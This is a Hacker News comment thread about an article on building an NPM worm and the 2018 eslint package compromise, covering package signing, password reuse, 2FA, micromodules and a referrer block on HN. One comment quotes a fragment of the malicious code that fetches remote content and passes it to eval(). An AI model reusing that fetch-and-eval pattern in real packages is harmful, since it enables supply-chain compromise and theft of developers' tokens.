How to build an NPM worm

https://jamie.build/how-to-build-an-npm-worm

by 0x0 • 8 years ago

151 95 8 years ago

walrus01• 8 years ago

Question, since I don't use much node.js. Doesn't the repository publish GPG-signing and a checksum hash of every file? The compromised package should have been rejected by the retrieval tool, no?

pvg3• 8 years ago

The postmortem is on the HN front page

https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

The account of one of the eslint maintainers was compromised.

raggi2• 8 years ago

And this is a critical point. Gpg comes up constantly. It's a waste of everyone's time alive for this use case. If a developer with publish access is compromised, it doesn't help. If the infrastructure is compromised only hash history is required. Hashes are faster to compute in such an emergency, and more available on various mirroring/hosting solutions meaning more likely to have verification sets laying around.

A ledger of hashes of published packages that is run on separate infrastructure and consumed by the client would do just as well as signing for detection of both threats without a lot of complicated issues around third party key material handling, crypto library bugs, and the need for revocation processes.

Note: this is based on experience validating all gems after the yaml scare years ago.

xamuel2• 8 years ago

2018-07-12 9:49 UTC: The attacker used the generated authentication token to publish eslint-config-eslint@5.0.2, which contained a malicious postinstall script that attempts to exfiltrate the local machine’s .npmrc authentication token.
2018-07-12 18:42 UTC: npm revoked all access tokens generated before 2018-07-12 12:30 UTC.

Does this mean that potentially any version update (of ANY npm package) published between 9:49 and 18:42 could potentially be compromised? Someone's going to have to go through all of them with a fine tooth comb...

madethemcry• 8 years ago

And that's how it was compromised:

The maintainer whose account was compromised had reused their npm password on several other sites and did not have two-factor authentication enabled on their npm account.

I wonder how many accounts the attacker checked before hitting this account. This will definitely get a nice place in the bucket of examples I throw to people, when I see they are still reusing passwords.

thosakwe• 8 years ago

No, NPM does not have a GPG signing.

There was once a PR open, but it was rejected after sitting idle for over a year.

Yes, you read that right.

https://github.com/npm/npm/pull/4016#issuecomment-76316744

PeCaN4• 8 years ago

Somehow people in the ESlint thread were defending the fact that NPM seems totally uninterested in this.

Yes, it doesn't solve all the problems and yes you still have to determine who to trust, but at least it makes it POSSIBLE to trust anything. Currently it's impossible to trust anything that you install—and packages can run arbitrary, unsandboxed code with access to the full filesystem when they are installed. That just seems insane to me.

User232• 8 years ago

The objections raised there are all legitimate. Generally usable public key infrastructure is, sadly, vaporware.

Yegge's security vs accessibility rant/monograph should be required reading. The NPM team's choice to favor accessibility is a reasonable choice. The trade-offs are significant.

bodas2• 8 years ago

How would GPG signing help? If someone can execute arbitrary code on your computer as your user account, the game is over, you are totally owned. An attacker can simply start signing their package with your GPG key. Since you are probably in sudoers, unless you have superhuman carefulness, they can also get root.

_pdp_2• 8 years ago

Signing will add another factor indeed. :(

jlgaddis• 8 years ago

As with IOT, apparently the "S" in NPM stands for security.

anonytrary2• 8 years ago

While the author tried really hard to prevent any errors from being thrown (going as far as wrapping an asynchronous https.get call with a synchronous try-catch), it still managed to throw an error (Oh JavaScript, you reliable... you).

  ...
  response.on('data', contents => {
    eval(contents);
  });
  response.on('error', () => {});
  ...

---

These are both really low-hanging "I don't write javascript" mistakes to make. Most Node.js devs know that the response is a stream, right? Interesting that a hacker with little knowledge of the language still managed to cause so much hoopla.

I always get a bit uneasy when I install a package and I get some over-the-top message like "installed 1287 packages from 103 contributors, found 23 non-critical vulnerabilities". We should all definitely try harder to know what we depend on and not end up in dependency hell.

Every trivial "isArray" module you depend on is another person you need to trust, and for what? It takes a second to write a "utilities.js" file and throw in crap like:

  const isArray = x => x && Array.isArray(x);

jchw• 8 years ago

I never really understood the true appeal of micromodules, but they are especially unappealing in the face of the combinatorial explosion of dependencies and the attack surface they bring with them. I mean if you want a left pad or an is array, is pulling in something established and trusted like lodash really that bad?

Kalium2• 8 years ago

They make a lot of sense to people who like to think functionally. If you view modules as providing functions that you can composite into whatever it is that you need, micromodules are appealing because they offer just want you need and nothing more.

_pdp_2• 8 years ago

Just because they are "hackers" it does not mean they know how to program. There are a lot of "hackers" that actually suck at it.

PeCaN4• 8 years ago

Hence why NPM exists in the first place.

bryanrasmussen• 8 years ago

I suppose hacking is its own business domain, and these are domain experts writing shitty code to implement the business logic they need.

I've known programmers who couldn't program very well, but they understood the business domain and its rules so well that, while writing verbose unmaintainable crap they could be as productive as better programmers who did not know the domain as well.

tolmasky2• 8 years ago

The reason is that many people don't know how to write a proper isArray. Forgetting about security momentarily (and I promise we'll come back to it), rewriting code repeatedly is a path towards bugs and mistakes. Array.isArray didn't even exist until pretty recently, and was non-trivial to understand before then (x => x && Object.prototype.toString.apply(x) === "[object Array]", of course!). There's an entire separate discussion of why JavaScript doesn't build this stuff in to begin with, but now we're in historical land and not practical solution land.

Ultimately though, the goal needs to be to build tools where its hard to do something insecure regardless of how we otherwise feel about that programming practice. It can't be that the reason we shouldn't install is-array is because it can lead to catastrophic exploits -- that says something about the ecosystem not the validity of where we choose to draw the line of what merits a library.

Node is cursed in part by its success. In a lot of ways its like the early days of the web, it grew faster than we had time to figure stuff out in. That's OK if we learn quickly and adjust accordingly. We don't have to run node program's with access to everything -- but again, we don't have to run any kind of program with access to everything. Go to Homebrew's website (https://brew.sh). This is a developer tool and what they tell you to do is to blindingly copy a bash line that downloads a file from THE MASTER BRANCH on GitHub and runs it on your system:

    /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Get access to this guy's password and you can compromise tons of systems too. As much as I hate the Mac App Store as a distribution mechanism, there's something to the "sandbox first" programming mentality it incidentally forces its apps into. Maybe we should be thinking more along those lines too.

PeCaN4• 8 years ago

    /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"

Ignoring the obvious stupidity here, why does it invoke Ruby only to invoke curl?

golangnews• 8 years ago

Importing lots of code from others is a path towards bugs and mistakes. You end up not understanding your dependencies, importing far too much (because you want function x but also get a-z), amd dealing with changes you didn't want or need which mix security fixes with features.

Better to minimise dependencies particularly for trivial functions. Not just for security but for ease of development.

um_ya• 8 years ago

Perhaps npm packages should be dockerised to prevent this.

madeofpalk2• 8 years ago

from THE MASTER BRANCH

to be fair, there's nothing particular about the branch called 'master'.

nlawalker2• 8 years ago

Is there a formal, npm-style registry for reusable snippets like this? It would be great to have a popular, well known registry of snippets where they could be named, searched, voted on, ranked, written about in top-10 articles, etc.

paulddraper3• 8 years ago

formal, npm-style registry for reusable snippets like this?
popular, well known registry of snippets
named, searched, voted on, ranked, written about in top-10 articles

https://www.npmjs.com/

derimagia• 8 years ago

Closest I know is: https://30secondsofcode.org/

catchmeifyoucan• 8 years ago

This was well written. NPM is basically run like Github. I had always thought it was some non-profit org, but that's not the case.

It is possible NPM could take the Github route with ssh tokens and only limit NPM publishes to certain authorized computers; a minor step, but you'd have to compromise the computer as well. That could probably be an option in the NPM settings as an extra step.

maerF0x0• 8 years ago

But honestly, the amount of work we'd all need to put in to truly prevent this from happening again... it's just never going to happen.

To me this is the irresponsibility of the NPM maintainers. Require some kind of cryptographic proof you intended to change the code. Signing or TFA or we wont host your w̶o̶r̶m̶ code ...

User232• 8 years ago

How many times has this happened and not been caught?

alangpierce3• 8 years ago

This means that simply by opening a pull request into the right repo, you can gain authorization to publish packages.

Travis CI intentionally avoids this sort of vulnerability by never providing encrypted environment variables when running pull requests from forks:

https://docs.travis-ci.com/user/encryption-keys/

This is especially necessary because a pull request can make arbitrary code change, like "print the npm access token", which would then run as part of the test suite and show up in the public logs.

alangpierce3• 8 years ago

Well first we need to know how people would discover it. There's a couple obvious ones...

npm emails you by default whenever one of your packages has been published (even by you), so I imagine that would be the most likely way that the problem would be detected in practice.

snek2• 8 years ago

even if you want to use 2FA with npm, they seemingly don't want you to: https://i.imgur.com/2LoEURl.png

alangpierce3• 8 years ago

they seemingly don't want you to

What makes you say that? The "not recommended" action in their screenshot is to disable 2FA. (I did find the screen a little confusing when setting up 2FA just now, though; it wasn't clear that it was picking between three different actions.)

snek2• 8 years ago

sorry if i wasn't clear. the fact that npm lets you choose an option with downgraded security (the first option) blows my mind.

juanca• 8 years ago

Is there any chance to build a sustainable open source project to alleviate some of these problems?

mike_ivanov• 8 years ago

All (well, most) Linux distributions managed to achieve that. So, the chance is about 100%, all it takes is will and skill.

Kiro• 8 years ago

This means that simply by opening a pull request into the right repo, you can gain authorization to publish packages.

But that is not all what happened here... Or am I reading this wrong?

rmccue• 8 years ago

Flagged, as URL is now unavailable when linked with the message:

  This page is unavailable when linked to from news.ycombinator.com.
  
  Please find a less toxic place to spend your time.

Per https://github.com/jamiebuilds/jamie.build/commit/b66f185df4...

andrewstuart22• 8 years ago

Making a Referrer handler like that is a great way to let me know that you're probably not worth the read anyway, because you're not likely one to listen to anybody else.

I've never once found HN a toxic place in the last 4 years. A place to meet people with different opinions and have discussions about those opinions, yeah, but that's beneficial -- literally the opposite of toxic.

rusbus• 8 years ago

Having had a few posts show up on HN from my site usually because I posted them (although not always), I can say that the comments are frequently nitpicky, unrelated to what you're talking about, and frequently unnecessarily critical. They rarely engage in the substance, and instead engage aggressively in minutiae. Not wanting to have to deal with the HN comments on your work is something I completely understand.

lifthrasiir• 8 years ago

My personal opinions:

- HN is generally favorable than many other websites, but only because those websites are hopelessly toxic.

- Voting system works well for filtering non-informative contents out, but it does prefer some kinds of informative contents than others.

- Conflicts in HN are not common, but once started they are hard to control. HN is not a good place for managing conflicts; it's only good for mild discussions and it has no effective measure to stop discussions from becoming conflicts.

- Of course there are many different opinions less represented in HN. Some of them can be considered as to an inherent bias of HN.

andersonmvd• 8 years ago

You just rationalized being rejected from a website because you came from HN. The truth is that you don't know what "toxic" means by the author's own definition or what led him to think that way. It may or may have anything to do with "listening to other people". Perhaps this defense is toxic already. And just telling that some place is great for you does not mean that it's great for others.

downandout• 8 years ago

A place to meet people with different opinions and have discussions about those opinions

It depends on the topic. Recently, many topics have laid bare the groupthink attitude of the HN community. Any comments even questioning those views, much less actually expressing an opposite view, are instantly downvoted and derided in replies. This attitude is pervasive, all the way up to management. I am currently rate-limited, for example, because I was against GDPR. I was told by @dang:

”I'd be happy to lift the rate limit after these repetitive GDPR controversy threads have died down.”

In other words, as soon as my opinion is irrelevant because there are no threads about it, I can speak again.

That’s pretty much as toxic as it gets.

rawrmaan• 8 years ago

This seems really counterproductive to me. This post is extremely relevant to the HN community and could do a lot of good if people see it here. I read it before this message was put up and thought it was really well-written.

skrebbel2• 8 years ago

This interests me. I find HN to be one of the least toxic places on the internet. I mean, I left Twitter because the outrage constantly made me angry, I never joined Facebook or Instagram. I have a low tolerance for toxic. Yet HN, here I am, and have been for years.

I truly wonder, without judgment, why the author thinks that HN is toxic. I doubt he reads this but maybe some people who don't share my impression can guess?

curiousgal• 8 years ago

I find HN to be one of the least toxic places on the internet

I love it here but sometimes it can be very negative. Any discussion of Bitcoin for instance used to bring out the worst of people.

reitanqild2• 8 years ago

I agree.

I find toxic subthreads from time to time but they are mostly flagged or already dead.

badcede• 8 years ago

It's status signaling, a way of saying that you're better than other people. Same as acting superior to the masses who like a popular band.

DanBC• 8 years ago

HN can be pretty horrible if it's talking about anything connected with diversity.

devcpp• 8 years ago

You say that like verbal toxicity is bad. I like a good civil argument, there's nothing better for insight that thought-provoking discourse. And nothing worse than everybody repeating how much they agree with each other (nothing wrong with agreeing, it's just pointless in this context).

paulddraper3• 8 years ago

Another HN hater is jwz.

Perhaps partly because Peter Thield is a "fascist"?

https://refererhider.com/?https://www.jwz.org/blog/2017/02/n...

(An argument that holds very little water. Fascism/national socialism promotes mixed economies and is very far from libertarianism, which is Thiel's actual political ideology. https://en.wikipedia.org/wiki/Fascism#Definitions )

Reedx• 8 years ago

Strange. There was another site doing the same thing recently. Detecting referrals from HN and redirecting to a message.

Edit. Found it here: https://news.ycombinator.com/item?id=17414652

pferde3• 8 years ago

Wait, you guys do not block the referer your browser sends (or rather does not send)? Why would you give up information about yourself just like that?

stockkid• 8 years ago

what is an effective way to block it?

dzek69• 8 years ago

It's not easy to find a mobile browser that both: - does not suck somehow, making me irritated - and has good privacy options

So I got the message too.

On the other hand, I know we are on HN, but I know hundreds of technical people, but only few of them installs privacy extensions, just the adblock. People don't care I think. I care to the extreme and I have installed uMatrix on desktop. No sane person would do that.

Btw as "soon to have" startup business I need people to inform me where they came from.

roboyoshi• 8 years ago

Thanks for bringing this to my intention, it never occured to me to replace/remove the headers. RefControl is not working in the latest FF, but there is a new variant called referer-modifier: https://addons.mozilla.org/en-US/firefox/addon/referer-modif...

tek-cyb-org• 8 years ago

Why would you flag him? Are you seriously that sensitive?

bsagdiyev• 8 years ago

Because it doesn't link to the article in the title any longer. Whatever asinine reason they have for this referrer block doesn't preclude it from removal for no longer being available. :shrug:

Here's an archived copy of the page anyways: http://archive.is/sXaEz

grosjona• 8 years ago

I think that the author is wrong in saying that HN is toxic but I don't think that the article should be flagged.

If HN flags this article, then I might be slightly more inclined to agree with the author.

haburka• 8 years ago

Hacker news is definitely toxic and fairly prone to being unnecessarily down on npm and JavaScript in general. Although HN thinks HN is very intelligent and good at debate, it’s somewhat prone to promoting one opinion and in a very aggressive way. I read it because I like discussions, but they have been getting more and more one sided over time. Unfortunately, most users seem to think that this is reddit in my opinion.

paulddraper3• 8 years ago

HN is predominantly urban, male, OSS-loving, Trump-hating, NN-supporting, anti-GDPR, socially liberal, and fiscally conservative with tendancies towards old-school (C > JS) and estoteric (Rust > Go) tech.

But every community has some sort of bias. Otherwise, it's not really a community.

Yes, my comments about issues with NN are disagreed with and downvoted to oblivion, but there's very few verbal attacks, and generally well-reasoned arguments.

RaleyField• 8 years ago

unnecessarily down on npm

What if, perhaps, they are deservedly [1][2].

[1] https://hackernoon.com/im-harvesting-credit-card-numbers-and...

[2] https://web.archive.org/web/20150515011238/https://nodejs.or...

anonytrary2• 8 years ago

I really liked this article and I'm disappointed that he felt he had to block HN. There's an old saying:

If you can't take the heat, get out of the kitchen.

That's exactly what he did, and I guess I don't blame him. The internet can be too much for some people.

rubenbe• 8 years ago

If I click the link, I get the following message: "This page is unavailable when linked to fromn ews.ycombinator.com. Please find a less toxic place to spend your time."

Pressing F5 obviously works around this referrer trick, but I find it interesting that someone would (ab)use the HTTP referrer to send a message to visitors from a specific site.

This is quite an innocent one, as it is obvious. But what about news/informational sites that subtly modify their message and influce. At least I would not have noticed.

nostalgeek3• 8 years ago

It bothers me greatly that npm is a private company. It bothers me that npm is closed-source (the registry and server). It bothers me because I can't contribute. I can only inform the community of the problems.

NPM the repository is not open source? How does a non open source platform ended up being the default package repository for an open source project is a complete mystery (since NPM client IS bundled with node distribution). People should be allowed to run their own NPM mirror ... for without having to pay for a license. I don't have to pay for packagist or pip server, I can only if I want professional support, so what is this?

tatersolid2• 8 years ago

Umm... do you use Github? Docker? Wordpress?

nostalgeek3• 8 years ago

Now please explain me what it has to do with anything I say, since I do not use any of these services.

Cofike• 8 years ago

Cool referrer link check, flagged.

dvfjsdhgfv• 8 years ago

My fear is that they are refusing to do something here because they are a startup focused on growth. Their VCs are undoubtably demanding that growth.

It sounds like a sad conclusion, but really, what are other reasonable reasons not to fix that glaring security hole that affects millions of direct and indirect users?

How to build an NPM worm

Related Stories